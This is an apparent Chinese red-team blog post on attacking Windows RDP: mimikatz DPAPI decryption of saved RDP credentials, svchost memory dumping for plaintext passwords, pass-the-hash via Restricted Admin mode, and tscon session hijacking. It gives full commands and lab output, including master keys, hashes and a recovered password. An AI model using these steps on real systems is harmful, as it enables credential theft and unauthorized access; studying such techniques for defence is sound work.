首页 > 其他分享 >浅析RDP攻击面

浅析RDP攻击面

时间:2022-09-18 22:58:17浏览次数:148  
标签:RDP 00000000 Server 2022 Credentials Logon 浅析 攻击面

浅析RDP攻击面

目录

抓取RDP连接日志

工具:https://github.com/Heart-Sky/ListRDPConnections

  • 对外 RDP 连接记录
    对外 RDP 连接记录保存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,默认只包含缺省用户设置和已登录用户的信息
    未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现
    需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作
  • 对内 RDP 连接记录
    对内 RDP 连接记录保存在 Wind,。
    一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接
    选取
    EventID: 1149 网络连接 事件作为全量的登录事件,
    EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件

比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。

cs

execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe

获取RDP凭据

Dump RDP Credentials From Credentials Directory

场景的话,应该是拿到一台A主机权限,如果A主机通过RDP登陆过主机B并且勾选了保存RDP会话凭据,那么会在当前主机A用户的特定目录下生成一个远程主机B的RDP凭据。只要勾选了保存RDP会话凭据,即使断开了RDP依然会在特定目录下留存凭据供我们抓取,而不是需要RDP连接一直存在。

默认保存在:C:\Users\用户名\AppData\Local\Microsoft\Credentials路径下

但是我直接翻的话翻不到

但是通过命令是可以找到的,而且是cmd,不是powershell

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.
0x01 凭据保存的目录:

C:\Users\Administrator\AppData\Local\Microsoft\Credentials 

0x02 凭据的值:

5EEE4899502166CA91541FD79DA485CB 

使用mimikatz来进行操作读取密码

dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB

CS上的话直接

beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
  dwDataLen          : 000000c0 - 192
  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
  dwSignLen          : 00000040 - 64
  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d

在这里我们需要记住guidmasterkey的值,稍后我们需要找到对应的东西
{96768172-a437-4ca8-a877-14e0aa498a3e}

使用这条命令进行把数据保存到c盘的根目录中:mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt

然后我们在txt文件中找到对应guid为{96768172-a437-4ca8-a877-14e0aa498a3e}的值.

beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:

Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session           : Interactive from 6
User Name         : DWM-6
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/4/26 18:12:38
SID               : S-1-5-90-6


Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session           : NewCredentials from 0
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : (null)
Logon Time        : 2022/4/24 15:14:41
SID               : S-1-5-21-2004965046-3923418856-647414055-500


Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : WEBLOGIC
Logon Time        : 2022/4/22 1:27:06
SID               : S-1-5-21-2004965046-3923418856-647414055-500


Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WEBLOGIC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : S-1-5-20


Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : 


Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session           : Interactive from 6
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : WEBLOGIC
Logon Time        : 2022/4/26 22:57:38
SID               : S-1-5-21-2004965046-3923418856-647414055-500
	 [00000000]
	 * GUID      :	{96768172-a437-4ca8-a877-14e0aa498a3e}
	 * Time      :	2022/4/27 0:00:37
	 * MasterKey :	3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
	 * sha1(key) :	b356179c1c3c35b9b8e4c0dcb345db87c692c6a1


Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session           : Interactive from 6
User Name         : DWM-6
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/4/26 18:12:38
SID               : S-1-5-90-6


Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:43
SID               : S-1-5-19


Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WEBLOGIC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : S-1-5-18
	 [00000000]
	 * GUID      :	{628e2357-b149-42af-8714-2a2e22e08f27}
	 * Time      :	2022/4/24 16:00:14
	 * MasterKey :	967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
	 * sha1(key) :	00472b23a48a568dff80abe4194c8196ba56bbb3
	 [00000001]
	 * GUID      :	{3f911ddd-ae45-479e-bb98-5b6c10c26c50}
	 * Time      :	2022/4/26 22:50:53
	 * MasterKey :	ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
	 * sha1(key) :	48feec9411a1017f5edb03a59922f2ea960bbfe9
	 [00000002]
	 * GUID      :	{acc494d8-92ca-45e0-9e87-27017cf59c68}
	 * Time      :	2022/4/26 23:02:50
	 * MasterKey :	d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
	 * sha1(key) :	be9117bfc64e4d0f62c06adfbd3f7f7f82643237
	 [00000003]
	 * GUID      :	{afe30aef-f67e-4cea-9b91-71318f566140}
	 * Time      :	2022/4/22 1:26:42
	 * MasterKey :	c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
	 * sha1(key) :	39507d003e38633020e85d318e509f55939d208f

也就是

 MasterKey :	3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01

使用下面的命令进行读取密码的信息
这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
  dwDataLen          : 000000c0 - 192
  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
  dwSignLen          : 00000040 - 64
  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d

Decrypting Credential:
 * masterkey     : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000b8 - 184
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 2022/4/26 16:00:20
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/10.10.20.7
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : redteam\saul
  CredentialBlob : admin!@#45
  Attributes     : 0

Dump RDP Credentials From svchost.exe

在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。前提是这个RDP是当前正在连接的

拿Windows Server 2012做测试
整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。

找到正确的进程

有2种方式:
0x01 Process Hacker
Process Hacker
使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。这仅在 RDP 连接仍处于活动状态时才有效。

0x02 Command Line
通过如下命令可以找到

netstat -nob | Select-String TermService -Context 1

或者是直接找rdpcorets.dll

tasklist /M:rdpcorets.dll

Command Line的话需要留心PID,后面创建转储文件的时候会用到

创建转储文件

0x01 Process Hacker
Process Hacker的话直接右键svchost.exe进程就可以创建dump文件

0x02 任务管理器
详细信息 ==> 选择对应pid进程 ==> 创建转储文件

0x03 ProcessDump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]

0x04 comsvc​​.dll

.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full

查找明文密码

可以通过strings命令,但是strings在Windows Server 2012上并不存在。
Mimikatz也支持了这一功能
可以通过下面命令抓取

ts::logonpasswords

但是Windows Server 2012就有问题,会抓到bytes流之后崩溃

Pass The Hash With Remote Desktop Protocol

Restricted Admin mode

这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。

Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP

利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode

修改注册表开启Restricted Admin mode的方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否开启

DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

成功在win7上开启Restricted Admin mode

Hash登陆RDP实现

这里需要使用mimikatz去pth

这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。
测试了几个实验:
虚拟机环境下
win2012 RDP登陆 win7会出现下图错误

win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)

privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

sekurlsa::pth /user:administrator /domain:localgroup\VIRTUALDATA02 /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

win10登陆win2012没问题

小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。
这种场景的话主要是
1、有目标机管理员组账号的用户名+hash,还有机器名。
2、修改对方注册表开启Restricted Admin mode(受限管理模式)
3、管理员权限用mimikatz => Pass The Hash With Remote Desktop Protocol

RDP会话劫持

系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令

以Windows Server 2012测试
在任务管理器中会出现多个会话

可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话

输入密码后成功登陆

在Windows Command Line下有一个tscon命令,可以实现上述功能
首先查询会话ID

query user

然后执行tscon命令即可切换会话

tscon 8 /PASSWORD:rdp1用户的密码

当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。

首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现
PsExec64.exe -s -i cmd

之后输入

quser   //查找rdp ID
tscon 8 /dest:console

成功后直接跳转到该RDP

标签:RDP,00000000,Server,2022,Credentials,Logon,浅析,攻击面
From: https://www.cnblogs.com/CoLo/p/16706132.html

相关文章

  • 使用docker-compose创建wordpress博客网站
    1.简述wordpress是一款开源的博客CMS,dockerhub上有着官方的容器镜像,使用docker能够很简单的创建一个wordpress站点,本文简要介绍了如何使用docker-compose来创建。2.......
  • 【已解决】wordpress 修改固定链接 伪静态URL出现nginx 404错误
    一、站点设置 打开站点设置,选择伪静态,选择wordpress   二、wordpress设置打开wordpress后台,选择设置---》固定链接 选择一个你喜欢的格式点击保存 之......
  • wordpress固定链接+宝塔nginx配置伪静态访问
    一、站点设置 打开站点设置,选择伪静态,选择wordpress   二、wordpress设置打开wordpress后台,选择设置---》固定链接 选择一个你喜欢的格式点击保存 之......
  • 浅析UE4 Actor&Actor生命周期
    首先说明一下关于UE4中一些对象的名字前缀吧,虽然这个不是这一关于Actor的内容,但是后续都要用到,所以就先说明白。关于Class类前缀:派生自 Actor 的类前缀为A,比如ACont......
  • 浅析硬件“好声音”:麦克风技术指标及选型指南
     如今大多数IoT类设备都具有语音唤醒和声控的功能,如天猫精灵、百度音箱等。这类设备中都集成了麦克风和喇叭等电声器件,其中麦克风用于识别用户的声音,喇叭用于播放......
  • 浅析mysql报错:Error writing file '/tmp/MY4QWdUa' (Errcode: 28 - No space left on
    一、问题背景1、报错描述:今天执行sql时发现Node服务的日志报错:SequelizeDatabaseError:EE_WRITE:Errorwritingfile'/tmp/MY4QWdUa'(Errcode:28-Nospac......
  • 浅析前端曝光埋点方案重构
    最近新入职了一家公司,接手之前的人做的前端埋点曝光,业务代码真是一言难尽,故而优化重构了一下。下面做下对比:一、原曝光方案介绍1、原曝光方案核心代码1、逻辑复用:......
  • 核酸检测系统崩溃场景浅析
    简述核酸采集人员用手机扫描用户的核酸码进行信息录入,扫描后迟迟是泛白的界面,这里就简单分析下。一则消息:http://cd.bendibao.com/live/202292/143899.shtm整体流程说......
  • WordPress的网站链接,如何去掉index.php和category?
    使用WordPress搭建网站时,如果你是基于IIS服务器搭建的,肯定会遇到这个问题,就是固定链接设置好后,网址会出现烦人的index.php和category这两个关键字。  举个例子,博客的分......
  • 打开WordPress网站时,出现Http500错误怎么办?
    在用PHP+IIS+WordPress搭建博客系统时,我们最不想看到的就是报错,尤其是http500的错误,有时真是一头雾水,摸不到头脑。有时升级主题或插件,也会莫名其妙的报这个错误,对于没有编......